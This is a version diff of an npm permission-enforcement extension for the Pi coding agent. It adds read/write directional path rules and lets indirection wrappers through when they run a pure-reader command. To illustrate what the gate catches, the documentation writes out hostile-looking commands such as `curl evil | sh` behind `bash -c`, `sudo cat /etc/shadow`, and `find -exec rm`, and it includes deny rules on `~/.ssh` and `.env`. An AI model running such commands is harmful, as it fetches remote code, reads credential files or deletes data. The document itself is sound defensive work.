@gotgenes/pi-permission-system 27.0.0 → 27.1.0

package/CHANGELOG.md

@@ -5,6 +5,42 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [27.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v27.0.1...pi-permission-system-v27.1.0) (2026-08-27)
+
+
+### Features
+
+* **pi-permission-system:** add the read/write capability axis to the path surfaces ([#806](https://github.com/gotgenes/pi-packages/issues/806)) ([77d1916](https://github.com/gotgenes/pi-packages/commit/77d191645e60d4bd42981e8b6080332eaac9bb70))
+* **pi-permission-system:** name and validate the directional keys in the config schema ([2893277](https://github.com/gotgenes/pi-packages/commit/2893277a3481a13eda2dfcd50811f431d459bb5f)), closes [#806](https://github.com/gotgenes/pi-packages/issues/806)
+* **pi-permission-system:** record the wrapper floor exemption in the review log ([0f8f482](https://github.com/gotgenes/pi-packages/commit/0f8f4821879f45c67b16f14136ec203efa6286fa)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
+* **pi-permission-system:** route a direction-proven tool access to its directional surface ([2204cd8](https://github.com/gotgenes/pi-packages/commit/2204cd833c77d249ede41410631ad160518b122c)), closes [#806](https://github.com/gotgenes/pi-packages/issues/806)
+* **pi-permission-system:** route a proven bash external path to its directional surface ([#807](https://github.com/gotgenes/pi-packages/issues/807)) ([504cfcc](https://github.com/gotgenes/pi-packages/commit/504cfcc44fb1d54f6eebdad22e4a775b6a462ee4))
+* **pi-permission-system:** route a proven bash path token to its directional surface ([9140c24](https://github.com/gotgenes/pi-packages/commit/9140c245c5b4dcd41a5870381e6478ba9c266b00)), closes [#807](https://github.com/gotgenes/pi-packages/issues/807)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** close two fail-opens in the pure-reader core ([50b4210](https://github.com/gotgenes/pi-packages/commit/50b421019d6116a9c0df0ee9b3f0a85738c27882)), closes [#807](https://github.com/gotgenes/pi-packages/issues/807)
+* **pi-permission-system:** stop flooring wrappers that run a proven pure reader ([#803](https://github.com/gotgenes/pi-packages/issues/803)) ([1a4805f](https://github.com/gotgenes/pi-packages/commit/1a4805f89133c4048d6af7e1851bc73122dca277))
+* **pi-permission-system:** withhold the wrapper exemption for an unresolvable redirect ([0e1ed35](https://github.com/gotgenes/pi-packages/commit/0e1ed359e561f7236b00b5dc9a0a319ea762b1c7))
+
+
+### Documentation
+
+* **pi-permission-system:** commit the wrapper-transparency measurement instrument ([cb14723](https://github.com/gotgenes/pi-packages/commit/cb14723008ed39ec61d76715a9628dfa0a3e27fa)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
+* **pi-permission-system:** document bash effect attribution and the pure-reader core ([2a8e77b](https://github.com/gotgenes/pi-packages/commit/2a8e77b38fffb69cbdee355bc21eb580a66684f4)), closes [#807](https://github.com/gotgenes/pi-packages/issues/807)
+* **pi-permission-system:** document the directional path surfaces ([#806](https://github.com/gotgenes/pi-packages/issues/806)) ([a75f055](https://github.com/gotgenes/pi-packages/commit/a75f0552dbd07afdabeb5b0e9b9ac7699121141a))
+* **pi-permission-system:** document wrapper transparency and mark Phase 14 Step 3 complete ([bfb67bb](https://github.com/gotgenes/pi-packages/commit/bfb67bbb2ca44592d99f91deb9cd80f65e60afd3)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
+* **pi-permission-system:** resolve pre-completion review warnings ([8484bd3](https://github.com/gotgenes/pi-packages/commit/8484bd391e41b309cdb17e52df6525a39d7bc71c)), closes [#803](https://github.com/gotgenes/pi-packages/issues/803)
+* **pi-permission-system:** spell directional examples with a single wildcard ([135ae12](https://github.com/gotgenes/pi-packages/commit/135ae12293091d97af25d32a920481dd8d524626)), closes [#806](https://github.com/gotgenes/pi-packages/issues/806)
+
+## [27.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v27.0.0...pi-permission-system-v27.0.1) (2026-08-24)
+
+
+### Documentation
+
+* **pi-permission-system:** reconcile architecture with ADR 0013 ([#639](https://github.com/gotgenes/pi-packages/issues/639)) ([8a899da](https://github.com/gotgenes/pi-packages/commit/8a899da1884b8c4657e689ab2d4c86406eaa1add))
+
 ## [27.0.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v26.3.1...pi-permission-system-v27.0.0) (2026-08-21)
 
 

package/README.md

@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
 - **Gates MCP and skill access** at server, tool, and skill-name granularity
 - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
 - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
-- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently
+- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
 - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
 - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
 - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration
@@ -98,6 +98,24 @@ Four layers compose with most-restrictive-wins: `path` (cross-cutting) → `exte
 Because `ask` is more restrictive than `allow`, a `path` allow cannot loosen an `external_directory: ask` boundary — allow outside-CWD directories on `external_directory`.
 See [docs/configuration.md](docs/configuration.md) for the full recipe.
 
+Both path surfaces also carry a **direction**, so you can permit reading somewhere without permitting writing there: `path_read`, `path_write`, `external_directory_read`, and `external_directory_write`.
+A bare `path` or `external_directory` key is sugar that expands into both of its directional keys, so every existing config keeps its exact meaning and remains the right spelling whenever direction does not matter.
+
+```jsonc
+{
+  "permission": {
+    "external_directory": { "*": "ask" },
+    "external_directory_read": { "~/dev/*": "allow" }
+  }
+}
+```
+
+Here a `read` under `~/dev` is silent while a `write` or `edit` to the same path still prompts.
+The useful grants are `*_read: allow` and the bare key; `*_write` earns its keep as a restriction (`path_write: { "*": "deny" }` is a read-only-agent posture) — see [docs/configuration.md](docs/configuration.md#directional-path-surfaces).
+
+A read grant reaches bash commands too, not just the file tools: a redirect operator proves its destination's direction (`> out.txt` writes, `< in.txt` reads), and a frozen set of read-only command words — `cat`, `grep`, `ls`, `find`, and 17 others — proves a read for the paths they name.
+A token nothing proves still consults both directions, so an unrecognized command is never treated as the safer one.
+
 ## Configuration
 
 Config lives in one JSON file per scope:
@@ -115,7 +133,7 @@ Within a surface map like `bash` or `mcp`, **last matching rule wins** — put b
 The optional `shellTools` field records which non-`bash` tools carry shell semantics (e.g. an `exec_command` tool that replaces native `bash`), so they are gated at full parity with native `bash` — see [docs/configuration.md](docs/configuration.md#shelltools--gating-aliased-shell-tools).
 
 The optional `authorizerChain` field names registered case-by-case decision links (e.g. a light model judge) to consult when a request lands on `ask`, ahead of the interactive prompt.
-A downstream extension registers a link via `getPermissionsService(sessionId).registerAuthorizer(name, authorize)`; it decides nothing until you name it here (opt-in), config order fixes the chain order, and the chain owner caps any link's `allow` on `external_directory`/`path` to keep it within your policy — see [docs/configuration.md](docs/configuration.md#authorizer-chain--case-by-case-decision-links).
+A downstream extension registers a link via `getPermissionsService(sessionId).registerAuthorizer(name, authorize)`; it decides nothing until you name it here (opt-in), config order fixes the chain order, and the chain owner caps any link's `allow` on the `external_directory`/`path` surface families to keep it within your policy — see [docs/configuration.md](docs/configuration.md#authorizer-chain--case-by-case-decision-links).
 A subagent's ask is reviewed by the chain of the session serving it, one hop up, rather than inside the subagent — see the same section.
 [`@gotgenes/pi-permission-model-judge`](https://github.com/gotgenes/pi-packages/tree/main/packages/pi-permission-model-judge) is a first-party reference implementation of such a link — a deny-first reviewer that auto-denies mistyped out-of-directory paths.
 
@@ -148,8 +166,9 @@ Hardening the gates against bypass, fail-closed corrections (breaking ones inclu
 
 **Non-goals.**
 
-- _Sandboxing._
-  This is a decision layer, not a sandbox — it decides and records, it does not isolate.
+- _Implementing isolation._
+  This is a decision layer — it decides and records; a sandbox contains.
+  The two are complementary: a sandbox settles which paths are in scope and in which direction, and this package decides whether a particular action on an in-scope path may proceed.
   If a dangerous action is reachable through an allowed tool, policy has to restrict it explicitly.
 - _Deciding project trust._
   A policy enforcer, not a trust oracle: whether a project is trusted is Pi's decision and yours, and this package observes it.
@@ -164,11 +183,12 @@ Hardening the gates against bypass, fail-closed corrections (breaking ones inclu
 The [architecture doc](https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/architecture/architecture.md#scope-and-non-goals) carries the full inventory, with the decision record behind each entry.
 
 **One decision is still open.**
-How policy may _enter_ the system — which channels are admissible, and with what precedence — is being worked out in [issue #639](https://github.com/gotgenes/pi-packages/issues/639), along with whether a capability model replaces the current surface list.
+How policy may _enter_ the system — which channels are admissible, and with what precedence — is being worked out in [issue #799](https://github.com/gotgenes/pi-packages/issues/799).
 Several requested widenings are parked on it rather than declined, durable persistence of an approval among them.
+The companion question — whether a capability model replaces the actor-keyed surface list — is settled: [ADR 0013](https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0013-permission-policy-model.md) adds read/write as an axis beside the existing keys, so a policy can permit reading a path without also permitting writes to it.
 
 **Where adjacent requests belong.**
-True isolation of a permitted action → an agent sandbox.
+True isolation of a permitted action → an agent sandbox, which this package's scope decisions are exported to rather than duplicated in.
 Model-assisted judging of an `ask` → a chain link over the authorizer seam; [@gotgenes/pi-permission-model-judge](https://www.npmjs.com/package/@gotgenes/pi-permission-model-judge) is the first-party one, and judges mistyped paths.
 Approve-and-steer, edit diffs, and risk explanations → a downstream package over the `permissions:decision` event and the presentation seams.
 

package/config/config.example.json

@@ -45,6 +45,8 @@
       "*": "ask",
       "~/development/*": "allow",
       "~/.cargo/registry/*": "allow"
-    }
+    },
+    "external_directory_read": { "~/dev/*": "allow" },
+    "path_write": { "~/.ssh/*": "deny" }
   }
 }

package/dist/public.d.ts

@@ -22,6 +22,19 @@ type RuleOrigin = "global" | "project" | "agent" | "project-agent" | "builtin" |
  * Absent for current-shell (top-level) commands.
  */
 type BashCommandContext = "command_substitution" | "process_substitution" | "subshell";
+/**
+ * Why an indirection wrapper's floor did not apply after all (#803).
+ *
+ * `"core-reader"` — the command the wrapper runs is in the built-in pure-reader
+ * core, so it is read-only for any argument feed and the floor's reason (an
+ * unknown direction behind the wrapper) does not hold.
+ *
+ * A named reason rather than a boolean, so the review log states *why* a
+ * wrapper was let through, and so a later source (a chain verdict, a user
+ * declaration) is an added member rather than a second flag. ADR 0013 §11
+ * keeps v1 at the audited core alone.
+ */
+type FloorExemption = "core-reader";
 interface PermissionCheckResult {
     toolName: string;
     state: PermissionState;
@@ -42,9 +55,16 @@ interface PermissionCheckResult {
     /**
      * The command the winning bash unit actually runs, when it is a wrapper whose
      * inner command differs from the unit text (#713). Display-only: the gate
-     * still decides on `command`, so this never widens or narrows a decision.
+     * decides on `command`, and on `executedUnit`'s rules only when
+     * {@link floorExemption} says the inner command is a proven pure reader.
      */
     executedUnit?: string;
+    /**
+     * Set when the winning bash unit is a wrapper the floor no longer covers,
+     * naming why (#803). Recorded in the review log so an allow the floor would
+     * once have prompted for is auditable to the reason that let it through.
+     */
+    floorExemption?: FloorExemption;
 }
 
 /**

package/docs/configuration.md

@@ -227,7 +227,7 @@ Three invariants govern the chain:
 3. **Registration alone grants no authority.**
    Installing a judge extension gives it nothing; a link decides nothing until you name it here (opt-in activation).
 
-The chain owner caps every link with a **bounded-delegation checkpoint**: a link's `allow` on an excluded surface (`external_directory` or the `path` surface) is downgraded to `defer`, so a buggy or over-eager judge can never approve access outside your policy.
+The chain owner caps every link with a **bounded-delegation checkpoint**: a link's `allow` on an excluded surface *family* (`external_directory` or `path`, including each family's directional members) is downgraded to `defer`, so a buggy or over-eager judge can never approve access outside your policy.
 Deny and defer are never capped.
 The excluded surface is the **gate** surface the rule fired on, not the tool name displayed in the prompt — so a `write` blocked by a `path` rule is capped.
 This holds for an ask forwarded up from a subagent exactly as it does for a local one.
@@ -426,7 +426,8 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
 - An indirection wrapper — `sudo`, `env`, `xargs`, `time`, `nohup`, `timeout`, `nice`, `parallel`, `rust-parallel`, `rush`, `doas`, `setsid`, `stdbuf`, `watch`, `flock`, or `find`/`fd` carrying a per-result exec flag (`find` with `-exec`/`-execdir`/`-ok`/`-okdir`, `fd` with `-x`/`--exec`/`-X`/`--exec-batch`) — runs a following command that a rule on the wrapper text would otherwise never gate, so its decision is floored the same way (the synthetic `<indirection-bash-wrapper>` pattern in the review log).
   So `sudo aws s3 rm s3://bucket` prompts rather than riding an `aws *: allow`, while a bare `find . -name '*.py'` search (no exec flag) is unaffected.
-  As with the opaque floor, no rule can auto-allow a wrapper: an `allow` is clamped to `ask`, and an explicit `deny` still denies.
+  An `allow` is clamped to `ask`, and an explicit `deny` still denies.
+  The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
 
 Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
 An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
@@ -698,6 +699,182 @@ The `external_directory` and `path` gates interpret bash tokens accordingly (too
 
 To allow-list such a path, write the rule using the path as typed — for example `external_directory: { "/tmp/*": "allow" }` — and the Windows separator folding above makes the forward-slash rule match the Git Bash token.
 
+### Directional Path Surfaces
+
+The `path` and `external_directory` surfaces each carry a **direction**, so a policy can permit reading somewhere without permitting writing there.
+Four keys express it:
+
+| Key                        | Governs                                                      |
+| -------------------------- | ------------------------------------------------------------ |
+| `path_read`                | Reading a file, by path pattern, across all path-aware tools |
+| `path_write`               | Writing a file, by path pattern, across all path-aware tools |
+| `external_directory_read`  | Reading a path outside the working directory                 |
+| `external_directory_write` | Writing to a path outside the working directory              |
+
+The two directions are **independent**, not tiers.
+An `allow` on `path_write` does not grant reading, and a `deny` on `path_read` does not restrict writing.
+Each direction is decided on its own surface and composed with the others by the usual most-restrictive-wins rule.
+
+#### Bare `path` and `external_directory` are sugar
+
+A bare key expands at load into both of its directional keys.
+These two configs mean exactly the same thing:
+
+```jsonc
+{ "permission": { "path": { "*": "ask", "~/.ssh/*": "deny" } } }
+```
+
+```jsonc
+{
+  "permission": {
+    "path_read": { "*": "ask", "~/.ssh/*": "deny" },
+    "path_write": { "*": "ask", "~/.ssh/*": "deny" }
+  }
+}
+```
+
+So every config written before this feature existed keeps its exact meaning, and nothing prompts differently on upgrade.
+Bare `path` remains valid and idiomatic indefinitely — it is the right spelling whenever direction does not matter, which is most of the time.
+
+When a bare key and a directional key are both present, the **sugar-derived entries come first and the explicit directional entries append after them**, whatever order the keys appear in the file.
+Since rules are last-match-wins, the explicit entry always has the final say, and a config and its key-order-swapped twin mean the same thing.
+
+#### Which direction is a given access?
+
+A tool's identity establishes its direction, and on the bash surface a redirect operator or a known read-only command word can establish it too:
+
+| Access                                                                     | Consults                  |
+| -------------------------------------------------------------------------- | ------------------------- |
+| `read`, `grep`, `find`, `ls`                                               | the `_read` surface only  |
+| `write`                                                                    | the `_write` surface only |
+| `edit`                                                                     | both, most-restrictive    |
+| An MCP tool or extension tool                                              | both, most-restrictive    |
+| A bash output redirect destination (`>`, `>>`, `>\|`, `&>`)                | the `_write` surface only |
+| A bash input redirect destination (`<`, `<<<`)                             | the `_read` surface only  |
+| An argument of a [pure-reader core](#the-pure-reader-command-core) command | the `_read` surface only  |
+| Any other bash path token                                                  | both, most-restrictive    |
+
+An access whose direction cannot be established consults **both** surfaces and takes the more restrictive answer.
+That is deliberate: an unproven access is never treated as the narrower one.
+
+Attribution is per **token**, not per command, so one invocation can do both: in `cat notes.md > /backup/notes.md`, `notes.md` is a read and `/backup/notes.md` is a write.
+A redirect operator's proof is absolute — it overrides whatever the command in front of it proved, because `> out.txt` writes `out.txt` however read-only that command is.
+When the same path is reached twice with disagreeing directions (`cat a.txt > a.txt`), the two fold to unproven, which consults both surfaces.
+
+#### The pure-reader command core
+
+A small, frozen set of command words is read-only for any arguments, in any implementation.
+A path token owned by one of them consults the `_read` surface alone:
+
+<!-- BEGIN PURE_READER_CORE -->
+
+`basename`, `cat`, `cd`, `diff`, `dirname`, `echo`, `egrep`, `fd`, `fgrep`, `find`, `grep`, `head`, `ls`, `pwd`, `realpath`, `rg`, `sort`, `stat`, `tail`, `wc`, `which`
+
+<!-- END PURE_READER_CORE -->
+
+The bar for admission is structural, not popularity: implementation-independent read-only-ness across GNU and BSD alike, no option that redirects output to a file, and effects that do not depend on argument content.
+`awk` and `sed` are excluded because their program text and `-i` flag can write; `uniq`, `tee`, `dd`, and `split` each have a positional or option that writes a file; `file` is excluded because `-C`/`--compile` writes a `magic.mgc` file; `less` and `more` can escape to a shell; `git`, `pnpm`, and `node` are subcommand-dependent.
+
+Three members are read-only **until an argument says otherwise**, and naming one of these options withdraws the claim — the token falls back to consulting both surfaces:
+
+| Command | Withdrawn by                                                                                |
+| ------- | ------------------------------------------------------------------------------------------- |
+| `find`  | `-exec`, `-execdir`, `-ok`, `-okdir`, `-delete`, `-fprint`, `-fprint0`, `-fprintf`, `-fls`  |
+| `fd`    | `-x`, `-X`, `--exec`, `--exec-batch`                                                        |
+| `sort`  | `-o`, `--output`                                                                            |
+
+A long option is matched by any unambiguous abbreviation too (`sort --out=…` withdraws the claim exactly as `--output` does), and a short letter is matched anywhere in a cluster (`-uo`) or with its value attached (`-o/tmp/x`).
+
+A core word counts only as a **bare basename**.
+`./grep`, `/usr/bin/grep`, and `bin\grep` name programs this audit never saw, so they prove nothing and consult both surfaces.
+
+The core cannot be extended or removed from configuration.
+If you do not trust a member of it, deny or ask on the paths themselves — an effect proof only chooses which surface answers, and never overrides the answer.
+
+#### Wrapper transparency
+
+The [indirection-wrapper floor](#fail-closed-behavior) exists because a wrapper hides the command that should be gated.
+For one class the hiding is immaterial: a pure-reader command is read-only for **any** arguments, so `xargs grep -l foo` is provably a read even though what `xargs` feeds it is unknowable.
+The floor guards unknowability of *scope*, and scope stays the path surfaces' job — for a wrapped command exactly as for a bare one.
+
+Such a unit is therefore **not** floored.
+It resolves by the inner command's own `bash` rules instead, and the review log records `floorExemption: "core-reader"` beside the rule that decided, so an allow the floor would once have prompted for is auditable to the reason that let it through.
+
+All four of these must hold, and each is a way the floor's reason could still apply:
+
+1. The unit is an indirection wrapper.
+   An `sh -c`/`eval` payload is not one — see below.
+2. The command it runs can be established without passing through an inline shell.
+3. That command **proves** a read: a bare-basename core word with no option that withdraws the claim.
+   So `xargs sort -o /tmp/x` and `xargs find . -delete` stay floored, and so does `xargs ./grep foo`.
+4. The enclosing statement provably writes no file through a redirect.
+   A destination the parse cannot resolve — `> $OUT`, `> $(mktemp)` — counts against the exemption rather than for it.
+
+So `xargs grep -l foo`, `xargs wc -l`, and `find . -name '*.ts' -exec cat {} +` stop prompting under a matching `bash` allow, while `xargs rm`, `xargs sed -i`, `time pnpm test`, and `find . -exec sh -c '…' \;` still prompt.
+
+Three things this does **not** change:
+
+- An explicit `deny` or `ask` on the wrapper is never weakened.
+  Only a unit whose own text already resolved to `allow` is affected, so `bash: {"xargs *": "ask"}` still asks.
+- A `deny` on the inner command now reaches the wrapper.
+  Under `bash: {"*": "allow", "grep *": "deny"}`, `xargs grep foo` is denied rather than merely prompted.
+- Path gating is untouched.
+  The exemption decides the `bash` surface only, and every path token the command projects still goes through `path` and `external_directory` with the direction its command proved.
+  Clause 4 is what keeps that from being a weaker promise than it sounds: a redirect destination the parse cannot resolve (`> $OUT`, `> $(mktemp)`) is not projected onto those surfaces either, so the wrapper keeps its floor rather than relying on a gate that would not see the write.
+
+A user `commandEffects` declaration participates in effect classification but does **not** lift the floor.
+The core's argument-independence is audited here; a claim about a wrapped command is not, and a wrong claim behind a wrapper fails open.
+
+`sudo` and `doas` are ordinary wrappers to this rule.
+The path surfaces gate `sudo cat /etc/shadow` exactly as they gate `cat /etc/shadow`, so nothing about the *file set* changes — what `sudo` adds is that the operating system would have refused, which this extension has never modelled.
+If you run a permissive `bash` policy and want privilege elevation to prompt regardless, say so directly:
+
+```jsonc
+{
+  "permission": {
+    "bash": {
+      "*": "allow",
+      "sudo *": "ask",
+      "doas *": "ask"
+    }
+  }
+}
+```
+
+That rule matches the wrapper's own text, so it is decided before the exemption is ever consulted.
+
+#### Which key to actually write
+
+The useful *grants* are `*_read: allow` and the bare sugar key.
+
+```jsonc
+{
+  "permission": {
+    "external_directory": { "*": "ask" },
+    "external_directory_read": { "~/dev/*": "allow" }
+  }
+}
+```
+
+A `read` of `~/dev/x` is silent; a `write` or `edit` of the same path still prompts.
+Granting an external root takes one line in one surface — no parallel `path_read` entry is needed, because the `path` family only speaks when one of its own patterns matches.
+
+`*_write` earns its keep as a **restriction** far more than as a grant.
+`path_write: { "*": "deny" }` is a coherent read-only-agent posture.
+
+A `*_write: allow` on its own does not silence an `edit`, which also reads — grant the read direction too, or use the bare key.
+
+A key that looks directional but is misspelled (`path_wrote`, `external_directory_reed`) is rejected when the config loads, rather than sitting inert.
+That matters most for a restriction: a misspelled *grant* merely produces more prompts, but a misspelled *deny* would enforce nothing at all.
+
+#### What you will see change
+
+Prompts, the review log, and the `permissions:decision` event now name the directional surface that decided — `path_read` rather than `path` — when the tool's identity proved a direction.
+`/permission-system show` likewise lists the expanded directional rules for a config written with a bare key, so the display matches what is enforced.
+
+One cross-version note for subagent permission forwarding: a child running a newer version sends a directional surface to a parent running an older one, which has no such rules and falls back to its default — more prompting, never less.
+Upgrade the parent session to match.
+
 ### Home Directory Expansion in Patterns
 
 Pattern keys in any permission surface can start with `~/`, `$HOME/`, or `${HOME}/` (or be exactly `~`, `$HOME`, or `${HOME}`).
@@ -903,12 +1080,14 @@ Four existing behaviors keep this allowlist safe — you do not have to enumerat
    That is why this recipe ships with `write` and `edit` denied and a `path` deny block for sensitive files.
    Keep the `path` surface locked down for anything you would not want an allowed read command to overwrite via `>`.
 2. **`find`/`fd` with an exec flag are floored to `ask`.**
-   A bare `find *` search is read-only, so it is safe to allow; the moment an exec flag appears (`find -exec`/`-execdir`/`-ok`/`-okdir`, `fd -x`/`-X`), the [indirection-wrapper floor](#fail-closed-behavior) clamps the decision back to `ask`.
-   So `find . -type f -exec rm {} +` still prompts even under `find *: allow`.
+   A bare `find *` search is read-only, so it is safe to allow; the moment an exec flag appears (`find -exec`/`-execdir`/`-ok`/`-okdir`, `fd -x`/`-X`), the [indirection-wrapper floor](#fail-closed-behavior) clamps the decision back to `ask` — unless the command it runs is itself a pure reader ([wrapper transparency](#wrapper-transparency)), in which case that command's own rule decides.
+   So `find . -type f -exec rm {} +` still prompts even under `find *: allow`, while `find . -type f -exec cat {} +` is decided by the `cat *` rule this recipe already grants.
+   The same options — plus `find -delete`/`-fprint`/`-fprint0`/`-fprintf`/`-fls` and `fd --exec`/`--exec-batch` — also withdraw the [pure-reader claim](#the-pure-reader-command-core) on that command's path tokens, so they stop resolving on the `_read` surface alone.
 3. **Chained commands resolve most-restrictive.**
    `find . -name '*.log' && rm -f found.log` decomposes into `find …` and `rm …`; `rm` matches only `"*": "ask"`, and the most restrictive result governs the whole invocation, so the chain prompts.
 4. **Wrappers cannot ride the allowlist.**
-   `sudo grep …`, `env X=1 cat …`, `sh -c "…"`, and `eval "…"` are floored to `ask` (the [wrapper floors](#fail-closed-behavior)), so an allowed command cannot be smuggled past through a wrapper.
+   `sudo aws …`, `env X=1 npm …`, `sh -c "…"`, and `eval "…"` are floored to `ask` (the [wrapper floors](#fail-closed-behavior)), so a command this recipe does not allow cannot be smuggled past through a wrapper.
+   The wrapper text is what a rule matches, so `sudo grep foo` matches only `"*": "ask"` here and prompts on that rule rather than on the floor — add `"sudo *": "ask"` if you want that stated in the config rather than inherited from the fallback.
 
 `git` is enumerated by read subcommand rather than a broad `git *`, because `git` has mutating subcommands (`commit`, `push`, `branch -D`, `remote add`, `config <key> <value>`).
 Exact patterns like `git status` and `git branch` match only their literal form, so `git branch -D feature` falls through to `"*": "ask"`.

package/docs/troubleshooting.md

@@ -50,10 +50,13 @@ This makes it easy to verify which files the extension actually loaded:
 **Limitations:**
 
 - If a dangerous action is possible via an allowed tool, policy must explicitly restrict it
-- This is a permission decision layer, not a sandbox — for true isolation see [Agent Sandboxes](https://engine.build/lab/agent-sandboxes)
+- This is a permission decision layer, not a sandbox — for true isolation see [Agent Sandboxes](https://engine.build/lab/agent-sandboxes).
+  The two are complementary rather than alternatives: a sandbox enforces which paths are in scope and in which direction, while this package decides whether a particular action on an in-scope path may proceed.
+  [ADR 0013] §8 records that division and the seam that exports this package's scope decisions to a sandbox launcher.
 - The review log records bash command strings unredacted.
   Log files are created owner-only (`0600`), and values bound to a sensitive key name (`authorization`, `token`, `password`, …) are masked — but a secret embedded in a command string is not.
   Review-log values are shortened at `reviewLogFieldMaxWidth` (1000 characters by default), which bounds the file's growth but is a length cap, not redaction.
   See [Log file sensitivity](configuration.md#log-file-sensitivity) and [ADR 0010].
 
 [ADR 0010]: https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0010-permission-log-secret-exposure.md
+[ADR 0013]: https://github.com/gotgenes/pi-packages/blob/main/packages/pi-permission-system/docs/decisions/0013-permission-policy-model.md

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "27.0.0",
+  "version": "27.1.0",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {
@@ -89,6 +89,8 @@
     "test": "vitest run",
     "test:watch": "vitest",
     "verify:public-types": "bash scripts/verify-public-types.sh",
+    "measure:core-coverage": "node scripts/measure-core-coverage.mjs",
+    "measure:wrapper-transparency": "node scripts/measure-wrapper-transparency.mjs",
     "lint:md": "rumdl check *.md docs/**/*.md",
     "lint": "biome check . && eslint . && pnpm run lint:md"
   }

package/schemas/permissions.schema.json

@@ -101,10 +101,55 @@
     },
     "permission": {
       "type": "object",
-      "propertyNames": {
-        "type": "string",
-        "minLength": 1,
-        "description": "A surface name or the universal fallback key '*'."
+      "properties": {
+        "path_read": {
+          "description": "Cross-cutting gate for reading a file, by path pattern. The useful directional grant.",
+          "markdownDescription": "Cross-cutting gate for **reading** a file, matched by path pattern across all path-aware tools.\n\nThis is the directional key worth granting: `\"path_read\": { \"~/dev/*\": \"allow\" }` permits reads without permitting writes.\n\nA bare `\"path\"` key is sugar that expands into this key **and** `path_write`, with its entries placed first — so an explicit `path_read` entry always has the final say, whatever the key order in the file.",
+          "anyOf": [
+            {
+              "$ref": "#/$defs/permissionState"
+            },
+            {
+              "$ref": "#/$defs/permissionMap"
+            }
+          ]
+        },
+        "path_write": {
+          "description": "Cross-cutting gate for writing a file, by path pattern. Earns its keep as a restriction.",
+          "markdownDescription": "Cross-cutting gate for **writing** a file, matched by path pattern across all path-aware tools.\n\nThis key earns its keep as a *restriction* rather than a grant: `\"path_write\": { \"*\": \"deny\" }` is a coherent read-only-agent posture. A `\"path_write\": \"allow\"` on its own does not silence an `edit`, which also reads — grant `path_read` too, or use the bare `\"path\"` key.",
+          "anyOf": [
+            {
+              "$ref": "#/$defs/permissionState"
+            },
+            {
+              "$ref": "#/$defs/permissionMap"
+            }
+          ]
+        },
+        "external_directory_read": {
+          "description": "Boundary gate for reading outside the working directory. The relief most asks want.",
+          "markdownDescription": "Boundary gate for **reading** a path outside the session working directory.\n\nThe one-line grant for an external root: `\"external_directory_read\": { \"~/dev/*\": \"allow\" }` silences repeated read prompts on a directory outside the tree while a write to the same path still prompts. No parallel `path_read` entry is needed.",
+          "anyOf": [
+            {
+              "$ref": "#/$defs/permissionState"
+            },
+            {
+              "$ref": "#/$defs/permissionMap"
+            }
+          ]
+        },
+        "external_directory_write": {
+          "description": "Boundary gate for writing outside the working directory.",
+          "markdownDescription": "Boundary gate for **writing** to a path outside the session working directory.\n\nA bare `\"external_directory\"` key is sugar that expands into this key and `external_directory_read`; write this one only to give the two directions different answers.",
+          "anyOf": [
+            {
+              "$ref": "#/$defs/permissionState"
+            },
+            {
+              "$ref": "#/$defs/permissionMap"
+            }
+          ]
+        }
       },
       "additionalProperties": {
         "anyOf": [
@@ -148,6 +193,9 @@
           "external_directory": {
             "*": "ask",
             "~/.cargo/registry/*": "allow"
+          },
+          "external_directory_read": {
+            "~/dev/*": "allow"
           }
         }
       ]